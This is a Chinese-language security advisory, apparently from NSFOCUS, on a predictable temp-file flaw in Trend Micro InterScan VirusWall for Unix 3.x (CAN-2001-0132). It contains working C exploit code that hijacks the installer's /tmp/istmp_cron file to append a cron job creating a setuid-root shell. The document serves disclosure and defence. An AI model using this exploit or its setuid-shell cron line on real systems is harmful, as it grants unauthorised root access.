首页 -> 安全研究

安全研究

安全漏洞
Trend Micro Interscan VirusWall 符号链接漏洞

发布日期:2001-01-18
更新日期:2001-01-18

受影响系统:

   Trend Micro InterScan VirusWall for Unix 3.6x
   Trend Micro InterScan VirusWall for Unix 3.0.1
描述:

BUGTRAQ  ID: 2213
CVE(CAN) ID: CAN-2001-0132

Interscan VirusWall 在所有人可写的 /tmp 目录中创
建临时文件时,文件名可预测。事先知道 Interscan
VirusWall 将以 root 权限运行的情况下,恶意用户可
以在 /tmp 目录中以猜测或预测的文件名创建符号连接
文件。如果文件名猜测正确,这个情况发生时符号连接
所指向的文件将被 VirusWall (它以 root 权限运行)
覆盖。如果攻击者可以控制被 VirusWall 写入临时文件
的数据,有可能获取 root 权限。


<* 来源:Joey Maier (maierj@home.com) *>



测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


#include <sys/stat.h>
#include <fcntl.h>

#define TMPFILE "/tmp/istmp_cron"
#define CRONTAB_ENTRY \
  "* * * * * cp /bin/sh /tmp/rootshell; chmod 4755 /tmp/rootshell"

int main(int argc, char *argv[])
{
   int file;
   off_t file_size;
   struct stat file_stat;
   int rc;

/*###########################################################
## creating istmp_cron with permissions that allow changes ##
###########################################################*/
   file = open(TMPFILE, O_RDWR | O_CREAT | O_APPEND, 0777);
   if (file < 0) {
      perror(TMPFILE);
      return 1;
   }

/*##################################################################
## wait for isinst to write to tmp file, then append our cronjob  ##
##################################################################*/
   rc = fstat(file, &file_stat);
   file_size = file_stat.st_size;
   while (1) {
      rc = fstat(file, &file_stat);
      if (file_stat.st_size != file_size) {
         /*######################
         ## append our cronjob ##
         ######################*/
         rc = write(file, CRONTAB_ENTRY, sizeof(CRONTAB_ENTRY) -1);
         close(file);
         return 0;
      }
   }
}




建议:

临时解决办法:

   NSFOCUS建议您在没有打补丁或升级版本前换用别的替代产品。

厂商补丁:

  暂无


浏览次数:3974
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障